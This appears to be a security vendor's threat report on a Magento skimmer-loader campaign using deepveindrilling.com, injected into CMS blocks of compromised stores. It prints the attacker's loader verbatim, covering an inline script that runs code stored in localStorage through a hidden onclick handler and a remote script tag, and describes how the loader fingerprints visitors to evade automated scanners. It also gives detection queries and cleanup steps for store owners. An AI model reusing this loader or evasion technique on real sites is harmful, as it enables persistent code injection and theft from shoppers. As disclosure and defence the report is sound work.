deepveindrilling.com: Magento CMS block loader hits 953 stores

Sansec found deepveindrilling.com in the CMS blocks of 83 online stores, nearly all on Magento. The domain was registered on October 6, 2026, and the first stores loaded it the next evening. It is the fifth domain of a campaign that Sansec has tracked since July 2025, and that we reported in March as the PolyShell mass attack. Most stores on the new domain are old victims: 60 of the 83 already ran one of the operator's earlier loaders, 34 of them since October 2025.

If your store loads any domain from the indicators of compromise, the attacker can write to your database. Deleting the script does not remove that access. See How to check your store.

What is deepveindrilling.com?

deepveindrilling.com is a JavaScript loader domain behind Cloudflare. Its front page returns a 404, and it only answers script requests from visitors of infected stores. The loader code lives in the cms_block table, which contains the static blocks that Magento renders into storefront pages. eComscan found it there on 148 server installs over the course of the campaign, and never in core_config_data or in theme files.

Two loader versions in October

eComscan first found the new loader at 21:54 UTC on October 7. By the end of October 8, Sansec's crawler had found it on 74 stores, as two scripts:

<script>!function(){try{var c=localStorage.getItem("fpCode");if(c){var e=document.createElement("div");e.setAttribute("onclick",c);document.documentElement.appendChild(e);e.click();e.remove()}}catch(e){}}();</script>
<script src="https://deepveindrilling.com/?s=d35c5031"></script>

The first script reads fpCode from the visitor's localStorage. When the key is set, the script puts the stored code in the onclick attribute of an invisible div and clicks it. The browser runs the code as an event handler, without eval(). Nothing in the block writes fpCode, so the script from deepveindrilling.com has to set it. A visitor who received the payload once runs it again on every later page view, even when the domain is offline or blocked. The March version deleted its stored payload after one run.

On October 23 the operator rewrote the blocks again, and the loader appeared on 9 more stores. All 71 stores that Sansec re-crawled by October 24 run the new version. It replaces the plain script tag with an inline loader that sends a browser fingerprint to https://deepveindrilling.com/?s=49b7ca5f&fp=. The fingerprint flags automated browsers through navigator.webdriver, Selenium globals and ChromeDriver's cdc_ properties. It adds the GPU name from WebGL, CPU cores, memory, screen size, time zone, languages and client hints.

The server picks its response from that fingerprint. When urlscan.io loaded an infected store with an automated Chrome browser, it got HTTP 200 and Sansec found no added content in the page. Sansec has not captured the final payload yet.

Sansec Watch shows what the Keitaro stage served to real visitors. On December 12, 2025, a customer logged in to an infected store got a script from manulfie.click that loaded https://crypto-insider.top/ssl/ and, five minutes later, https://leqdger.click/ssl/. On December 15 and 16, neswnsssn.click inserted the same leqdger.click script on two more stores. leqdger.click is a misspelling of the crypto wallet brand Ledger. It was registered on September 12, 2025 and has since expired.

Keitaro traffic distribution

Before October, the second script was the "Script (async)" integration of Keitaro, a commercial ad tracker that doubles as a traffic distribution system (TDS). It sends the referrer, page title and query string to a base64 encoded URL such as https://additionalver.com/Mb2z8J?&se_referrer=, where the path is the Keitaro campaign alias. The TDS decides per visitor whether to return a payload, a redirect or nothing. deepveindrilling.com drops Keitaro and moves the bot filtering into the loader.

Five domains in 15 months

Two more domains ran on a few stores: hdfdsi84j3h.top, registered three minutes after lanhd6549tdhse.top, and c85grt98sd.com.

neswnsssn.click and manulfie.click expired and were registered again in May 2026. Both now use the nameservers of a domain parking service (abovedomains.com). Between August and October 2026, Sansec still found the manulfie.click loader on 9 stores and the neswnsssn.click loader on 6. Visitors of those stores send their referrer and page title to the new domain owner, and their browsers run any script it returns.

Sansec Watch, our CSP monitoring service, received reports of visitors' browsers loading all four earlier domains, including about 52,000 for additionalver.com.

How the stores were breached

The October rewrites used no new vulnerability, because 60 of the 83 stores were already infected. Earlier waves point to Magento file upload flaws. In March the operator injected the loader into 471 stores in one hour, after uploading webshells through PolyShell (CVE-2026-48356). Across the campaign, eComscan found the loader on 169 Magento 2 installs that miss at least one core patch. 102 of them (60%) also have files uploaded through PolyShell or SessionReaper (CVE-2025-54236). On 3,024 comparable installs with a different skimmer, the rate is 32%.

One store on Magento 2.4.7-p1 had PolyShell webshells disguised as PNG images in pub/media/custom_options/quote/, next to the additionalver.com loader in a CMS block. The block switched to deepveindrilling.com on October 7. The store still lacks APSB26-73, Adobe's PolyShell fix for supported release lines.

Patched stores get the loader too. One store on Magento 2.4.7-p10, with no missing core patches, got deepveindrilling.com at 16:46 UTC on October 23, one hour after a clean scan. eComscan had found a rogue admin account on it on September 16 and a GSocket backdoor on September 24.

How to check your store

Search your CMS content for the loader code. The domains are often base64 encoded, so search for the code patterns:

SELECT block_id, identifier, update_time FROM cms_block
WHERE content LIKE '%fpCode%' OR content LIKE '%se_referrer%'
   OR content LIKE '%localStorage.getItem%';

Run the same query on cms_page. If your store uses a table prefix, add it. update_time shows the attacker's most recent write. Once you remove the scripts, nothing on your store reads fpCode any more.

Then find the flaw or backdoor that the attacker used:

find pub/media/custom_options/ pub/media/customer_address/ -type f ! -name '.htaccess'
find . -name 'accesson.php' -type f

Check admin_user for accounts you do not recognize and look for unfamiliar processes. eComscan checks for all of these. After cleanup, change the database, admin and API integration passwords. Install APSB26-73 for PolyShell and APSB25-88 for SessionReaper. Sansec Shield blocks both attacks while you schedule the upgrade.

Indicators of compromise

Timeline

Read more

• Mass PolyShell attack wave hits 471 stores in one hour
• PolyShell: unrestricted file upload in Magento and Adobe Commerce
• StyleSmuggler: Magento and Adobe Commerce 0-day RCE (CVE-2026-75650) under active attack
• Magecart skimmer turns Stripe into a malware command server
• Novel WebRTC skimmer bypasses security controls at $100+ billion car maker